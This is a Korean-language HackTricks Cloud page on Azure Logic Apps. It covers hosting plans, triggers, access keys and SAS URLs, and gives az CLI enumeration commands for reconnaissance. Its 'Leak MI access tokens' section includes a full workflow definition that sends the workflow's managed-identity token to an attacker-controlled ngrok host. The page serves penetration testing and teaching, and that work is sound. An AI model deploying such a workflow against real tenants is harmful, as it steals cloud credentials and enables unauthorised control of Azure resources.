Az - Logic Apps
Reading time: 14 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Azure Logic Apps는 개발자가 다양한 서비스, 데이터 소스 및 애플리케이션을 통합하는 워크플로를 생성하고 실행할 수 있도록 합니다. 이러한 워크플로는 비즈니스 프로세스를 자동화하고, 작업을 조정하며, 다양한 플랫폼 간 데이터 통합을 수행하도록 설계되었습니다.
Logic Apps는 광범위한 사전 구축된 커넥터를 사용하여 워크플로를 생성할 수 있는 비주얼 디자이너를 제공합니다. 이를 통해 다양한 서비스에 쉽게 연결하고 상호작용할 수 있습니다:
.png)
호스팅 옵션
여러 가지 호스팅 옵션이 있습니다:
- 소비형
- 다중 테넌트: 공유 컴퓨팅 리소스를 제공하며, 공용 클라우드에서 운영되고, 작업당 요금 모델을 따릅니다. 이는 경량 및 비용 효율적인 워크로드에 적합합니다. 이를 "단일 워크플로"라고 부릅니다.
- 표준
- 워크플로 서비스 계획: 네트워킹을 위한 VNET 통합과 함께 전용 컴퓨팅 리소스를 제공하며, 워크플로 서비스 계획 인스턴스당 요금을 부과합니다. 이는 더 많은 제어가 필요한 요구가 높은 워크로드에 적합합니다.
- 앱 서비스 환경 V3: 완전한 격리 및 확장성을 갖춘 전용 컴퓨팅 리소스를 제공합니다. 또한 네트워킹을 위해 VNET과 통합되며, 환경 내 앱 서비스 인스턴스를 기반으로 한 요금 모델을 사용합니다.
- 하이브리드: 로컬 처리 및 다중 클라우드 지원을 위해 설계되었습니다. 고객 관리형 컴퓨팅 리소스를 로컬 네트워크 액세스와 함께 허용하며, Kubernetes 이벤트 기반 자동 확장(KEDA)을 활용합니다. 이는 컨테이너 앱 연결 환경에 의존합니다.
"단일" 워크플로 / 소비형 계획
워크플로는 특정 프로세스나 목표를 실행하는 자동화된 단계 또는 작업의 구조화된 순서입니다. 이는 다양한 작업, 조건 및 결정이 어떻게 상호작용하여 원하는 결과를 달성하는지를 정의하며, 운영을 간소화하고 수작업 노력을 줄입니다.
tip
소비형 계획은 Logic App 자체 없이 단일 워크플로를 생성할 수 있습니다.
트리거 및 작업
워크플로 트리거는 워크플로가 시작되어야 할 시점을 나타냅니다. 트리거는 HTTP 엔드포인트, 일정 또는 Azure 또는 외부 앱의 수십 가지 다양한 이벤트일 수 있습니다.
각 워크플로에는 다양한 작업이 있습니다. 이러한 작업은 워크플로가 따르는 단계입니다. 작업에 따라 구성할 수 있는 다양한 매개변수가 제공됩니다. 예를 들어:
- 연결 이름: 작업이 상호작용할 연결.
- 인증 유형: 다양한 옵션으로는 액세스 키, Microsoft Entra ID, 통합 서비스 주체 인증 및 Logic Apps 관리 ID가 있습니다.
- 읽기 전용 관점에서 인증 데이터는 항상 흥미롭습니다. 이는 민감한 정보를 포함할 수 있기 때문입니다.
- 쓰기 관점에서 인증 데이터는 항상 흥미롭습니다. 이는 할당된 관리 ID의 권한을 사용할 수 있게 할 수 있기 때문입니다.
- ...
작업은 또한 작업 자체에 따라 다양한 설정을 가집니다. 가장 일반적인 설정 중 일부는 다음과 같습니다:
- 재시도 정책: 재시도 횟수와 그 사이의 간격을 구성합니다.
- 타임아웃: 작업이 타임아웃되기 전에 실행할 수 있는 최대 시간을 설정합니다.
- 실행 후: 작업이 실행되기 전에 충족해야 하는 조건을 지정합니다.
- 스키마 검증: 수신 데이터가 미리 정의된 구조를 따르는지 확인합니다.
- 네트워킹: 다양한 헤더를 관리하는 방법을 구성합니다.
- 보안 입력/출력: 실행 기록에서 입력/출력 데이터를 숨깁니다.
- ...
권한 정책
이러한 워크플로는 권한 정책을 지원하여 유효한 액세스 토큰을 요구함으로써 요청 기반 트리거를 보호합니다. 이 토큰은 특정 클레임을 포함해야 합니다:
- 발급자(iss)로 신원 제공자를 검증
- 수신자(aud)로 토큰이 Logic App을 위한 것인지 확인
- 주체(sub)로 호출자를 식별
- JWT ID (JSON 웹 토큰 식별자)
- 사용자 정의 클레임
요청이 수신되면 Logic Apps는 이러한 클레임에 대해 토큰을 검증하고, 구성된 정책과 일치하는 경우에만 실행을 허용합니다. 이는 다른 테넌트가 워크플로를 트리거하도록 허용하거나 다른 소스에서의 트리거를 거부하는 데 사용할 수 있습니다. 예를 들어, https://login.microsoftonline.com/에서 오는 트리거만 허용할 수 있습니다.
액세스 키
워크플로는 생성될 때 2개의 액세스 키를 생성합니다. 이러한 키는 워크플로에 대한 요청을 인증하고 승인하는 데 사용됩니다. 키는 요청 URL에 포함되는 공유 액세스 서명(SAS) 토큰을 생성하는 데 사용됩니다.
따라서 HTTP 엔드포인트 트리거가 생성되면, 워크플로를 호출할 수 있는 권한을 부여하는 SAS 서명이 있는 고유한 HTTP 엔드포인트가 생성됩니다.
이 키는 재생성할 수 있으며, 이러한 트리거에 대한 새로운 SAS URL이 생성되지만, 키 값은 접근할 수 없습니다.
트리거를 호출하기 위한 SAS URL의 예:
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
Workflow Settings & Components
- Trigger access option: 이 설정은 워크플로우를 트리거하거나 시작할 수 있는 대상을 제한할 수 있게 해줍니다. 옵션은 Any IP, Only other workflow 및 Specific IP ranges입니다.
- Integration account: 워크플로우를 Integration Account에 연결합니다.
- High throughput: 활성화하면 더 많은 요청을 병렬로 빠르게 처리할 수 있습니다.
- Run history retention: 실행 기록을 보관할 일수를 나타냅니다.
- API connections: 워크플로우가 가진 다양한 API 연결을 보여줍니다. 각 연결 내에는 다양한 속성이 있으며, 인증 유형을 변경할 수 있는 API 연결을 편집할 수 있는 가능성이 있습니다.
- History: 이전 실행의 history에 접근하고 데이터: 설정, 출력, 매개변수 및 코드를 가져올 수 있는 옵션이 있습니다.
- Versions: 워크플로우의 다양한 versions에 접근할 수 있는 옵션이 있으며, 여기서 코드를 확인하고 현재 워크플로우를 이전 버전으로 변경할 수 있습니다.
- Managed Identities: 워크플로우에 1개의 시스템 관리 ID와 서버 사용자 관리 ID를 할당할 수 있습니다.
Leak MI access tokens
워크플로우의 HTTP 작업은 외부 웹에 데이터를 전송하는 데 사용될 수 있습니다. HTTP 작업의 Advanced parameters에서 Authentication Type을 **Managed identity
**로 구성한 다음 사용할 할당된 Managed Identity를 선택할 수 있습니다 (시스템 또는 사용자).
또한, **Audience
**에 생성된 JWT의 대상을 지정할 수 있으며, 예를 들어 **https://management.azure.com/
**와 같이 생성된 토큰을 Azure 관리 API에 접근하는 데 사용할 수 있습니다.
warning
공격자가 제어하는 서버에 HTTP 요청을 보내도록 작업을 설정하면 워크플로우에 할당된 관리 ID의 access token이 leak될 수 있습니다.
tip
공격자는 다른 유형의 작업을 사용하여 다른 Azure 서비스에 직접 접근하고 관리 ID의 권한으로 작업을 수행할 수도 있습니다.
다음은 HTTP 엔드포인트를 노출하고 HTTP 작업을 사용하여 구성된 URL(이 경우 ngrok)로 액세스 토큰을 leak하는 워크플로우의 코드입니다:
Workflow code
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
Logic Apps / Standard Plan
"Single" 워크플로우와의 차이점
Logic Apps는 기본적으로 여러 워크플로우를 호스팅할 수 있는 로직 앱을 호스팅하기 위해 백그라운드에서 App Service를 사용합니다. 이는 로직 앱이 App Service와 "Single" 워크플로우의 모든 기능을 갖추고 있음을 의미합니다.
몇 가지 주요 기능은 다음과 같습니다:
- App Service Plan: Standard 플랜의 Logic Apps는 App Service Plan에서 호스팅되므로 다음과 같은 모든 App Service 기능을 사용할 수 있습니다:
- 네트워크 제한: 접근 가능한 위치를 지정합니다.
- 배포 센터: Github, Bitbucket, Azure Repos, External Git 및 Local Git과 같은 외부 플랫폼에서 배포합니다.
- FTP 접근: FTP를 통해 Logic App의 파일에 접근할 수 있습니다.
- 스토리지 계정: 서비스 앱은 정보를 저장하기 위해 스토리지 계정을 사용합니다.
- 환경 변수 및 앱 설정: 환경 변수 및 앱 설정을 구성할 수 있으며(스토리지 계정에 대한 액세스 키와 같은 민감한 정보를 찾을 수 있음).
- ...
- 매개변수: 매개변수를 사용하면 개발, 테스트 및 프로덕션 간에 변동하는 값을 관리할 수 있습니다. 이를 통해 먼저 워크플로우를 설계한 다음 나중에 환경별 설정을 쉽게 조정할 수 있습니다.
- 전용 리소스: Standard 플랜의 Logic Apps는 전용 리소스를 갖습니다.
- 다중 워크플로우: 여러 워크플로우를 생성할 수 있습니다.
App Services에 대한 자세한 정보는 다음을 확인하세요:
열거
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"
# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"
# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"
# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"
Integration Accounts
Integration Accounts는 Azure Logic Apps의 기능입니다. Integration Accounts는 EDI, AS2 및 XML 스키마 관리를 포함한 고급 B2B 기능을 활성화하여 기업 수준의 통합을 용이하게 합니다. Integration Accounts는 Logic Apps에 사용되는 다음 아티팩트를 저장하는 Azure의 컨테이너입니다:
- Schemas: 통합 계정에서 메시지를 검증하고 처리하기 위한 XML 스키마를 관리합니다.
- Maps: 통합 워크플로 내에서 데이터 형식을 변환하기 위해 XSLT 기반 변환을 구성합니다.
- Assemblies: 논리 및 데이터 처리를 간소화하기 위해 통합 계정 어셈블리를 관리합니다.
- Certificates: 메시지를 암호화하고 서명하기 위한 인증서를 처리하여 안전한 통신을 보장합니다.
- Partners: B2B 거래를 위한 거래 파트너 정보를 관리하여 원활한 통합을 가능하게 합니다.
- Agreements: 거래 파트너와 데이터를 교환하기 위한 규칙 및 설정을 구성합니다 (예: EDI, AS2).
- Batch Configurations: 메시지를 효율적으로 그룹화하고 처리하기 위한 배치 처리 구성을 관리합니다.
- RosettaNet PIP: B2B 통신을 표준화하기 위해 RosettaNet Partner Interface Processes (PIPs)를 구성합니다.
Enumeration
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
권한 상승
로직 앱 권한 상승과 동일:
포스트 익스플로잇
Az - Logic Apps Post Exploitation
지속성
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.